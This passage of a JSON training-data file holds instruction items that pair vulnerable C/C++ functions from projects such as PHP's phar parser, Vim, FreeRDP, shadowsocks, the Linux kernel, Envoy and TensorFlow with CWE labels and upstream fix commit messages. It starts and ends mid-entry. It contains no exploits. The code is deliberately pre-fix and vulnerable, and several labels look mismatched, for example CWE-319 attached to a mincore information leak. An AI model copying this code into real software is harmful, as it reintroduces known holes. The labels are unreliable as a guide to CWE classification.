(char *) emalloc(entry.uncompressed_filesize);\n\t\t\tread = php_stream_read(fp, sig, entry.uncompressed_filesize);\n\t\t\tif (read != entry.uncompressed_filesize) {\n\t\t\t\tphp_stream_close(sigfile);\n\t\t\t\tefree(sig);\n\t\t\t\tPHAR_ZIP_FAIL(\"signature cannot be read\");\n\t\t\t}\n\t\t\tmydata->sig_flags = PHAR_GET_32(sig);\n\t\t\tif (FAILURE == phar_verify_signature(sigfile, php_stream_tell(sigfile), mydata->sig_flags, sig + 8, entry.uncompressed_filesize - 8, fname, &mydata->signature, &mydata->sig_len, error)) {\n\t\t\t\tefree(sig);\n\t\t\t\tif (error) {\n\t\t\t\t\tchar *save;\n\t\t\t\t\tphp_stream_close(sigfile);\n\t\t\t\t\tspprintf(&save, 4096, \"signature cannot be verified: %s\", *error);\n\t\t\t\t\tefree(*error);\n\t\t\t\t\tPHAR_ZIP_FAIL_FREE(save, save);\n\t\t\t\t} else {\n\t\t\t\t\tphp_stream_close(sigfile);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"signature cannot be verified\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tphp_stream_close(sigfile);\n\t\t\tefree(sig);\n\t\t\t/* signature checked out, let's ensure this is the last file in the phar */\n\t\t\tif (i != PHAR_GET_16(locator.count) - 1) {\n\t\t\t\tPHAR_ZIP_FAIL(\"entries exist after signature, invalid phar\");\n\t\t\t}\n\n\t\t\tcontinue;\n\t\t}\n\n\t\tphar_add_virtual_dirs(mydata, entry.filename, entry.filename_len);\n\n\t\tif (PHAR_GET_16(zipentry.extra_len)) {\n\t\t\tzend_off_t loc = php_stream_tell(fp);\n\t\t\tif (FAILURE == phar_zip_process_extra(fp, &entry, PHAR_GET_16(zipentry.extra_len))) {\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"Unable to process extra field header for file in central directory\");\n\t\t\t}\n\t\t\tphp_stream_seek(fp, loc + PHAR_GET_16(zipentry.extra_len), SEEK_SET);\n\t\t}\n\n\t\tswitch (PHAR_GET_16(zipentry.compressed)) {\n\t\t\tcase PHAR_ZIP_COMP_NONE :\n\t\t\t\t/* compression flag already set */\n\t\t\t\tbreak;\n\t\t\tcase PHAR_ZIP_COMP_DEFLATE :\n\t\t\t\tentry.flags |= PHAR_ENT_COMPRESSED_GZ;\n\t\t\t\tif (!PHAR_G(has_zlib)) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"zlib extension is required\");\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase PHAR_ZIP_COMP_BZIP2 :\n\t\t\t\tentry.flags |= PHAR_ENT_COMPRESSED_BZ2;\n\t\t\t\tif (!PHAR_G(has_bz2)) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"bzip2 extension is required\");\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 1 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (Shrunk) used in this zip\");\n\t\t\tcase 2 :\n\t\t\tcase 3 :\n\t\t\tcase 4 :\n\t\t\tcase 5 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (Reduce) used in this zip\");\n\t\t\tcase 6 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (Implode) used in this zip\");\n\t\t\tcase 7 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (Tokenize) used in this zip\");\n\t\t\tcase 9 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (Deflate64) used in this zip\");\n\t\t\tcase 10 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (PKWare Implode/old IBM TERSE) used in this zip\");\n\t\t\tcase 14 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (LZMA) used in this zip\");\n\t\t\tcase 18 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (IBM TERSE) used in this zip\");\n\t\t\tcase 19 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (IBM LZ77) used in this zip\");\n\t\t\tcase 97 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (WavPack) used in this zip\");\n\t\t\tcase 98 :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (PPMd) used in this zip\");\n\t\t\tdefault :\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unsupported compression method (unknown) used in this zip\");\n\t\t}\n\n\t\t/* get file metadata */\n\t\tif (PHAR_GET_16(zipentry.comment_len)) {\n\t\t\tif (PHAR_GET_16(zipentry.comment_len) != php_stream_read(fp, buf, PHAR_GET_16(zipentry.comment_len))) {\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"unable to read in file comment, truncated\");\n\t\t\t}\n\n\t\t\tp = buf;\n\t\t\tentry.metadata_len = PHAR_GET_16(zipentry.comment_len);\n\n\t\t\tif (phar_parse_metadata(&p, &(entry.metadata), PHAR_GET_16(zipentry.comment_len)) == FAILURE) {\n\t\t\t\tentry.metadata_len = 0;\n\t\t\t\t/* if not valid serialized data, it is a regular string */\n\n\t\t\t\tZVAL_NEW_STR(&entry.metadata, zend_string_init(buf, PHAR_GET_16(zipentry.comment_len), entry.is_persistent));\n\t\t\t}\n\t\t} else {\n\t\t\tZVAL_UNDEF(&entry.metadata);\n\t\t}\n\n\t\tif (!actual_alias && entry.filename_len == sizeof(\".phar/alias.txt\")-1 && !strncmp(entry.filename, \".phar/alias.txt\", sizeof(\".phar/alias.txt\")-1)) {\n\t\t\tphp_stream_filter *filter;\n\t\t\tzend_off_t saveloc;\n\t\t\t/* verify local file header */\n\t\t\tphar_zip_file_header local;\n\n\t\t\t/* archive alias found */\n\t\t\tsaveloc = php_stream_tell(fp);\n\t\t\tphp_stream_seek(fp, PHAR_GET_32(zipentry.offset), SEEK_SET);\n\n\t\t\tif (sizeof(local) != php_stream_read(fp, (char *) &local, sizeof(local))) {\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"phar error: internal corruption of zip-based phar (cannot read local file header for alias)\");\n\t\t\t}\n\n\t\t\t/* verify local header */\n\t\t\tif (entry.filename_len != PHAR_GET_16(local.filename_len) || entry.crc32 != PHAR_GET_32(local.crc32) || entry.uncompressed_filesize != PHAR_GET_32(local.uncompsize) || entry.compressed_filesize != PHAR_GET_32(local.compsize)) {\n\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\tPHAR_ZIP_FAIL(\"phar error: internal corruption of zip-based phar (local header of alias does not match central directory)\");\n\t\t\t}\n\n\t\t\t/* construct actual offset to file start - local extra_len can be different from central extra_len */\n\t\t\tentry.offset = entry.offset_abs =\n\t\t\t\tsizeof(local) + entry.header_offset + PHAR_GET_16(local.filename_len) + PHAR_GET_16(local.extra_len);\n\t\t\tphp_stream_seek(fp, entry.offset, SEEK_SET);\n\t\t\t/* these next lines should be for php < 5.2.6 after 5.3 filters are fixed */\n\t\t\tfp->writepos = 0;\n\t\t\tfp->readpos = 0;\n\t\t\tphp_stream_seek(fp, entry.offset, SEEK_SET);\n\t\t\tfp->writepos = 0;\n\t\t\tfp->readpos = 0;\n\t\t\t/* the above lines should be for php < 5.2.6 after 5.3 filters are fixed */\n\n\t\t\tmydata->alias_len = entry.uncompressed_filesize;\n\t\t\tif (entry.flags & PHAR_ENT_COMPRESSED_GZ) {\n\t\t\t\tfilter = php_stream_filter_create(\"zlib.inflate\", NULL, php_stream_is_persistent(fp));\n\n\t\t\t\tif (!filter) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"unable to decompress alias, zlib filter creation failed\");\n\t\t\t\t}\n\n\t\t\t\tphp_stream_filter_append(&fp->readfilters, filter);\n\n\t\t\t\t// TODO: refactor to avoid reallocation ???\n//???\t\t\tentry.uncompressed_filesize = php_stream_copy_to_mem(fp, &actual_alias, entry.uncompressed_filesize, 0)\n\t\t\t\t{\n\t\t\t\t\tzend_string *str = php_stream_copy_to_mem(fp, entry.uncompressed_filesize, 0);\n\t\t\t\t\tif (str) {\n\t\t\t\t\t\tentry.uncompressed_filesize = ZSTR_LEN(str);\n\t\t\t\t\t\tactual_alias = estrndup(ZSTR_VAL(str), ZSTR_LEN(str));\n\t\t\t\t\t\tzend_string_release(str);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tactual_alias = NULL;\n\t\t\t\t\t\tentry.uncompressed_filesize = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (!entry.uncompressed_filesize || !actual_alias) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"unable to read in alias, truncated\");\n\t\t\t\t}\n\n\t\t\t\tphp_stream_filter_flush(filter, 1);\n\t\t\t\tphp_stream_filter_remove(filter, 1);\n\n\t\t\t} else if (entry.flags & PHAR_ENT_COMPRESSED_BZ2) {\n\t\t\t\tfilter = php_stream_filter_create(\"bzip2.decompress\", NULL, php_stream_is_persistent(fp));\n\n\t\t\t\tif (!filter) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"unable to read in alias, bzip2 filter creation failed\");\n\t\t\t\t}\n\n\t\t\t\tphp_stream_filter_append(&fp->readfilters, filter);\n\n\t\t\t\t// TODO: refactor to avoid reallocation ???\n//???\t\t\tentry.uncompressed_filesize = php_stream_copy_to_mem(fp, &actual_alias, entry.uncompressed_filesize, 0)\n\t\t\t\t{\n\t\t\t\t\tzend_string *str = php_stream_copy_to_mem(fp, entry.uncompressed_filesize, 0);\n\t\t\t\t\tif (str) {\n\t\t\t\t\t\tentry.uncompressed_filesize = ZSTR_LEN(str);\n\t\t\t\t\t\tactual_alias = estrndup(ZSTR_VAL(str), ZSTR_LEN(str));\n\t\t\t\t\t\tzend_string_release(str);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tactual_alias = NULL;\n\t\t\t\t\t\tentry.uncompressed_filesize = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (!entry.uncompressed_filesize || !actual_alias) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"unable to read in alias, truncated\");\n\t\t\t\t}\n\n\t\t\t\tphp_stream_filter_flush(filter, 1);\n\t\t\t\tphp_stream_filter_remove(filter, 1);\n\t\t\t} else {\n\t\t\t\t// TODO: refactor to avoid reallocation ???\n//???\t\t\tentry.uncompressed_filesize = php_stream_copy_to_mem(fp, &actual_alias, entry.uncompressed_filesize, 0)\n\t\t\t\t{\n\t\t\t\t\tzend_string *str = php_stream_copy_to_mem(fp, entry.uncompressed_filesize, 0);\n\t\t\t\t\tif (str) {\n\t\t\t\t\t\tentry.uncompressed_filesize = ZSTR_LEN(str);\n\t\t\t\t\t\tactual_alias = estrndup(ZSTR_VAL(str), ZSTR_LEN(str));\n\t\t\t\t\t\tzend_string_release(str);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tactual_alias = NULL;\n\t\t\t\t\t\tentry.uncompressed_filesize = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (!entry.uncompressed_filesize || !actual_alias) {\n\t\t\t\t\tpefree(entry.filename, entry.is_persistent);\n\t\t\t\t\tPHAR_ZIP_FAIL(\"unable to read in alias, truncated\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* return to central directory parsing */\n\t\t\tphp_stream_seek(fp, saveloc, SEEK_SET);\n\t\t}\n\n\t\tphar_set_inode(&entry);\n\t\tzend_hash_str_add_mem(&mydata->manifest, entry.filename, entry.filename_len, (void *)&entry, sizeof(phar_entry_info));\n\t}\n\n\tmydata->fp = fp;\n\n\tif (zend_hash_str_exists(&(mydata->manifest), \".phar/stub.php\", sizeof(\".phar/stub.php\")-1)) {\n\t\tmydata->is_data = 0;\n\t} else {\n\t\tmydata->is_data = 1;\n\t}\n\n\tzend_hash_str_add_ptr(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len, mydata);\n\n\tif (actual_alias) {\n\t\tphar_archive_data *fd_ptr;\n\n\t\tif (!phar_validate_alias(actual_alias, mydata->alias_len)) {\n\t\t\tif (error) {\n\t\t\t\tspprintf(error, 4096, \"phar error: invalid alias \\\"%s\\\" in zip-based phar \\\"%s\\\"\", actual_alias, fname);\n\t\t\t}\n\t\t\tefree(actual_alias);\n\t\t\tzend_hash_str_del(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len);\n\t\t\treturn FAILURE;\n\t\t}\n\n\t\tmydata->is_temporary_alias = 0;\n\n\t\tif (NULL != (fd_ptr = zend_hash_str_find_ptr(&(PHAR_G(phar_alias_map)), actual_alias, mydata->alias_len))) {\n\t\t\tif (SUCCESS != phar_free_alias(fd_ptr, actual_alias, mydata->alias_len)) {\n\t\t\t\tif (error) {\n\t\t\t\t\tspprintf(error, 4096, \"phar error: Unable to add zip-based phar \\\"%s\\\" with implicit alias, alias is already in use\", fname);\n\t\t\t\t}\n\t\t\t\tefree(actual_alias);\n\t\t\t\tzend_hash_str_del(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len);\n\t\t\t\treturn FAILURE;\n\t\t\t}\n\t\t}\n\n\t\tmydata->alias = entry.is_persistent ? pestrndup(actual_alias, mydata->alias_len, 1) : actual_alias;\n\n\t\tif (entry.is_persistent) {\n\t\t\tefree(actual_alias);\n\t\t}\n\n\t\tzend_hash_str_add_ptr(&(PHAR_G(phar_alias_map)), actual_alias, mydata->alias_len, mydata);\n\t} else {\n\t\tphar_archive_data *fd_ptr;\n\n\t\tif (alias_len) {\n\t\t\tif (NULL != (fd_ptr = zend_hash_str_find_ptr(&(PHAR_G(phar_alias_map)), alias, alias_len))) {\n\t\t\t\tif (SUCCESS != phar_free_alias(fd_ptr, alias, alias_len)) {\n\t\t\t\t\tif (error) {\n\t\t\t\t\t\tspprintf(error, 4096, \"phar error: Unable to add zip-based phar \\\"%s\\\" with explicit alias, alias is already in use\", fname);\n\t\t\t\t\t}\n\t\t\t\t\tzend_hash_str_del(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len);\n\t\t\t\t\treturn FAILURE;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tzend_hash_str_add_ptr(&(PHAR_G(phar_alias_map)), actual_alias, mydata->alias_len, mydata);\n\t\t\tmydata->alias = pestrndup(alias, alias_len, mydata->is_persistent);\n\t\t\tmydata->alias_len = alias_len;\n\t\t} else {\n\t\t\tmydata->alias = pestrndup(mydata->fname, fname_len, mydata->is_persistent);\n\t\t\tmydata->alias_len = fname_len;\n\t\t}\n\n\t\tmydata->is_temporary_alias = 1;\n\t}\n\n\tif (pphar) {\n\t\t*pphar = mydata;\n\t}\n\n\treturn SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix bug #72928 - Out of bound when verify signature of zip phar in phar_parse_zipfile\n\n(cherry picked from commit 19484ab77466f99c78fc0e677f7e03da0584d6a2)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: win_alloc_lines(win_T *wp)\n{\n    wp->w_lines_valid = 0;\n    wp->w_lines = ALLOC_CLEAR_MULT(wline_T, Rows );\n    if (wp->w_lines == NULL)\n\treturn FAIL;\n    return OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-125'], 'message': 'patch 8.2.4154: ml_get error when exchanging windows in Visual mode\n\nProblem:    ml_get error when exchanging windows in Visual mode.\nSolution:   Correct end of Visual area when entering another buffer.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: rdpBitmapCache* bitmap_cache_new(rdpSettings* settings)\n{\n\tint i;\n\trdpBitmapCache* bitmapCache;\n\tbitmapCache = (rdpBitmapCache*)calloc(1, sizeof(rdpBitmapCache));\n\n\tif (!bitmapCache)\n\t\treturn NULL;\n\n\tbitmapCache->settings = settings;\n\tbitmapCache->update = ((freerdp*)settings->instance)->update;\n\tbitmapCache->context = bitmapCache->update->context;\n\tbitmapCache->maxCells = settings->BitmapCacheV2NumCells;\n\tbitmapCache->cells = (BITMAP_V2_CELL*)calloc(bitmapCache->maxCells, sizeof(BITMAP_V2_CELL));\n\n\tif (!bitmapCache->cells)\n\t\tgoto fail;\n\n\tfor (i = 0; i < (int)bitmapCache->maxCells; i++)\n\t{\n\t\tbitmapCache->cells[i].number = settings->BitmapCacheV2CellInfo[i].numEntries;\n\t\t/* allocate an extra entry for BITMAP_CACHE_WAITING_LIST_INDEX */\n\t\tbitmapCache->cells[i].entries =\n\t\t    (rdpBitmap**)calloc((bitmapCache->cells[i].number + 1), sizeof(rdpBitmap*));\n\n\t\tif (!bitmapCache->cells[i].entries)\n\t\t\tgoto fail;\n\t}\n\n\treturn bitmapCache;\nfail:\n\n\tif (bitmapCache->cells)\n\t{\n\t\tfor (i = 0; i < (int)bitmapCache->maxCells; i++)\n\t\t\tfree(bitmapCache->cells[i].entries);\n\t}\n\n\tfree(bitmapCache);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed possible NULL dereference'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: build_config(char *prefix, struct server *server)\n{\n    char *path    = NULL;\n    int path_size = strlen(prefix) + strlen(server->port) + 20;\n\n    path = ss_malloc(path_size);\n    snprintf(path, path_size, \"%s/.shadowsocks_%s.conf\", prefix, server->port);\n    FILE *f = fopen(path, \"w+\");\n    if (f == NULL) {\n        if (verbose) {\n            LOGE(\"unable to open config file\");\n        }\n        ss_free(path);\n        return;\n    }\n    fprintf(f, \"{\\n\");\n    fprintf(f, \"\\\"server_port\\\":%d,\\n\", atoi(server->port));\n    fprintf(f, \"\\\"password\\\":\\\"%s\\\"\", server->password);\n    if (server->fast_open[0]) fprintf(f, \",\\n\\\"fast_open\\\": %s\", server->fast_open);\n    if (server->mode)   fprintf(f, \",\\n\\\"mode\\\":\\\"%s\\\"\", server->mode);\n    if (server->method) fprintf(f, \",\\n\\\"method\\\":\\\"%s\\\"\", server->method);\n    if (server->plugin) fprintf(f, \",\\n\\\"plugin\\\":\\\"%s\\\"\", server->plugin);\n    if (server->plugin_opts) fprintf(f, \",\\n\\\"plugin_opts\\\":\\\"%s\\\"\", server->plugin_opts);\n    fprintf(f, \"\\n}\\n\");\n    fclose(f);\n    ss_free(path);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-78', 'CWE-787'], 'message': 'Fix #1734'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int __mincore_unmapped_range(unsigned long addr, unsigned long end,\n\t\t\t\tstruct vm_area_struct *vma, unsigned char *vec)\n{\n\tunsigned long nr = (end - addr) >> PAGE_SHIFT;\n\tint i;\n\n\tif (vma->vm_file) {\n\t\tpgoff_t pgoff;\n\n\t\tpgoff = linear_page_index(vma, addr);\n\t\tfor (i = 0; i < nr; i++, pgoff++)\n\t\t\tvec[i] = mincore_page(vma->vm_file->f_mapping, pgoff);\n\t} else {\n\t\tfor (i = 0; i < nr; i++)\n\t\t\tvec[i] = 0;\n\t}\n\treturn nr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-319'], 'message': 'Change mincore() to count \"mapped\" pages rather than \"cached\" pages\n\nThe semantics of what \"in core\" means for the mincore() system call are\nsomewhat unclear, but Linux has always (since 2.3.52, which is when\nmincore() was initially done) treated it as \"page is available in page\ncache\" rather than \"page is mapped in the mapping\".\n\nThe problem with that traditional semantic is that it exposes a lot of\nsystem cache state that it really probably shouldn't, and that users\nshouldn't really even care about.\n\nSo let's try to avoid that information leak by simply changing the\nsemantics to be that mincore() counts actual mapped pages, not pages\nthat might be cheaply mapped if they were faulted (note the \"might be\"\npart of the old semantics: being in the cache doesn't actually guarantee\nthat you can access them without IO anyway, since things like network\nfilesystems may have to revalidate the cache before use).\n\nIn many ways the old semantics were somewhat insane even aside from the\ninformation leak issue.  From the very beginning (and that beginning is\na long time ago: 2.3.52 was released in March 2000, I think), the code\nhad a comment saying\n\n  Later we can get more picky about what \"in core\" means precisely.\n\nand this is that \"later\".  Admittedly it is much later than is really\ncomfortable.\n\nNOTE! This is a real semantic change, and it is for example known to\nchange the output of \"fincore\", since that program literally does a\nmmmap without populating it, and then doing \"mincore()\" on that mapping\nthat doesn't actually have any pages in it.\n\nI'm hoping that nobody actually has any workflow that cares, and the\ninfo leak is real.\n\nWe may have to do something different if it turns out that people have\nvalid reasons to want the old semantics, and if we can limit the\ninformation leak sanely.\n\nCc: Kevin Easton \nCc: Jiri Kosina \nCc: Masatake YAMATO \nCc: Andrew Morton \nCc: Greg KH \nCc: Peter Zijlstra \nCc: Michal Hocko \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool Filter::convertRequestHeadersForInternalRedirect(Http::RequestHeaderMap& downstream_headers,\n                                                      const Http::HeaderEntry& internal_redirect,\n                                                      uint64_t status_code) {\n  if (!downstream_headers.Path()) {\n    ENVOY_STREAM_LOG(trace, \"no path in downstream_headers\", *callbacks_);\n    return false;\n  }\n\n  // Make sure the redirect response contains a URL to redirect to.\n  if (internal_redirect.value().getStringView().empty()) {\n    config_.stats_.passthrough_internal_redirect_bad_location_.inc();\n    return false;\n  }\n  Http::Utility::Url absolute_url;\n  if (!absolute_url.initialize(internal_redirect.value().getStringView(), false)) {\n    config_.stats_.passthrough_internal_redirect_bad_location_.inc();\n    return false;\n  }\n\n  const auto& policy = route_entry_->internalRedirectPolicy();\n  // Don't change the scheme from the original request\n  const bool scheme_is_http = schemeIsHttp(downstream_headers, *callbacks_->connection());\n  const bool target_is_http = absolute_url.scheme() == Http::Headers::get().SchemeValues.Http;\n  if (!policy.isCrossSchemeRedirectAllowed() && scheme_is_http != target_is_http) {\n    config_.stats_.passthrough_internal_redirect_unsafe_scheme_.inc();\n    return false;\n  }\n\n  const StreamInfo::FilterStateSharedPtr& filter_state = callbacks_->streamInfo().filterState();\n  // Make sure that performing the redirect won't result in exceeding the configured number of\n  // redirects allowed for this route.\n  if (!filter_state->hasData(NumInternalRedirectsFilterStateName)) {\n    filter_state->setData(\n        NumInternalRedirectsFilterStateName, std::make_shared(0),\n        StreamInfo::FilterState::StateType::Mutable, StreamInfo::FilterState::LifeSpan::Request);\n  }\n  StreamInfo::UInt32Accessor& num_internal_redirect =\n      filter_state->getDataMutable(NumInternalRedirectsFilterStateName);\n\n  if (num_internal_redirect.value() >= policy.maxInternalRedirects()) {\n    config_.stats_.passthrough_internal_redirect_too_many_redirects_.inc();\n    return false;\n  }\n  // Copy the old values, so they can be restored if the redirect fails.\n  const std::string original_host(downstream_headers.getHostValue());\n  const std::string original_path(downstream_headers.getPathValue());\n  const bool scheme_is_set = (downstream_headers.Scheme() != nullptr);\n  Cleanup restore_original_headers(\n      [&downstream_headers, original_host, original_path, scheme_is_set, scheme_is_http]() {\n        downstream_headers.setHost(original_host);\n        downstream_headers.setPath(original_path);\n        if (scheme_is_set) {\n          downstream_headers.setScheme(scheme_is_http ? Http::Headers::get().SchemeValues.Http\n                                                      : Http::Headers::get().SchemeValues.Https);\n        }\n      });\n\n  // Replace the original host, scheme and path.\n  downstream_headers.setScheme(absolute_url.scheme());\n  downstream_headers.setHost(absolute_url.hostAndPort());\n\n  auto path_and_query = absolute_url.pathAndQueryParams();\n  if (Runtime::runtimeFeatureEnabled(\"envoy.reloadable_features.http_reject_path_with_fragment\")) {\n    // Envoy treats internal redirect as a new request and will reject it if URI path\n    // contains #fragment. However the Location header is allowed to have #fragment in URI path. To\n    // prevent Envoy from rejecting internal redirect, strip the #fragment from Location URI if it\n    // is present.\n    auto fragment_pos = path_and_query.find('#');\n    path_and_query = path_and_query.substr(0, fragment_pos);\n  }\n  downstream_headers.setPath(path_and_query);\n\n  callbacks_->clearRouteCache();\n  const auto route = callbacks_->route();\n  // Don't allow a redirect to a non existing route.\n  if (!route) {\n    config_.stats_.passthrough_internal_redirect_no_route_.inc();\n    return false;\n  }\n\n  const auto& route_name = route->routeEntry()->routeName();\n  for (const auto& predicate : policy.predicates()) {\n    if (!predicate->acceptTargetRoute(*filter_state, route_name, !scheme_is_http,\n                                      !target_is_http)) {\n      config_.stats_.passthrough_internal_redirect_predicate_.inc();\n      ENVOY_STREAM_LOG(trace, \"rejecting redirect targeting {}, by {} predicate\", *callbacks_,\n                       route_name, predicate->name());\n      return false;\n    }\n  }\n\n  // See https://tools.ietf.org/html/rfc7231#section-6.4.4.\n  if (status_code == enumToInt(Http::Code::SeeOther) &&\n      downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Get &&\n      downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Head) {\n    downstream_headers.setMethod(Http::Headers::get().MethodValues.Get);\n    downstream_headers.remove(Http::Headers::get().ContentLength);\n    callbacks_->modifyDecodingBuffer([](Buffer::Instance& data) { data.drain(data.length()); });\n  }\n\n  num_internal_redirect.increment();\n  restore_original_headers.cancel();\n  // Preserve the original request URL for the second pass.\n  downstream_headers.setEnvoyOriginalUrl(absl::StrCat(scheme_is_http\n                                                          ? Http::Headers::get().SchemeValues.Http\n                                                          : Http::Headers::get().SchemeValues.Https,\n                                                      \"://\", original_host, original_path));\n  return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': '[1.20] CVE-2022-21655\n\nCrash with direct_response\n\nSigned-off-by: Otto van der Schaaf '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void DoRealBackwardFFT(OpKernelContext* ctx, uint64* fft_shape,\n                         const Tensor& in, Tensor* out) {\n    auto device = ctx->eigen_device();\n    // Reconstruct the full FFT and take the inverse.\n    auto input = Tensor(in).flat_inner_dims();\n    auto output = out->flat_inner_dims();\n    const auto input_dims = input.dimensions();\n\n    // Calculate the shape of the temporary tensor for the full FFT and the\n    // region we will slice from input given fft_shape. We slice input to\n    // fft_shape on its inner-most dimensions, except the last (which we\n    // slice to fft_shape[-1] / 2 + 1).\n    Eigen::DSizes input_slice_sizes;\n    input_slice_sizes[0] = input_dims[0];\n    TensorShape full_fft_shape;\n    full_fft_shape.AddDim(input_dims[0]);\n    for (auto i = 1; i <= FFTRank; i++) {\n      input_slice_sizes[i] =\n          i == FFTRank ? fft_shape[i - 1] / 2 + 1 : fft_shape[i - 1];\n      full_fft_shape.AddDim(fft_shape[i - 1]);\n    }\n\n    Tensor temp;\n    OP_REQUIRES_OK(ctx, ctx->allocate_temp(DataTypeToEnum::v(),\n                                           full_fft_shape, &temp));\n    auto full_fft = temp.flat_inner_dims();\n\n    // Calculate the starting point and range of the source of\n    // negative frequency part.\n    auto neg_sizes = input_slice_sizes;\n    neg_sizes[FFTRank] = fft_shape[FFTRank - 1] - input_slice_sizes[FFTRank];\n    Eigen::DSizes neg_target_indices;\n    neg_target_indices[FFTRank] = input_slice_sizes[FFTRank];\n\n    const Eigen::DSizes start_indices;\n    Eigen::DSizes neg_start_indices;\n    neg_start_indices[FFTRank] = 1;\n\n    full_fft.slice(start_indices, input_slice_sizes).device(device) =\n        input.slice(start_indices, input_slice_sizes);\n\n    // First, conduct IFFTs on outer dimensions. We save computation (and\n    // avoid touching uninitialized memory) by slicing full_fft to the\n    // subregion we wrote input to.\n    if (FFTRank > 1) {\n      const auto outer_axes =\n          Eigen::ArrayXi::LinSpaced(FFTRank - 1, 1, FFTRank - 1);\n      full_fft.slice(start_indices, input_slice_sizes).device(device) =\n          full_fft.slice(start_indices, input_slice_sizes)\n              .template 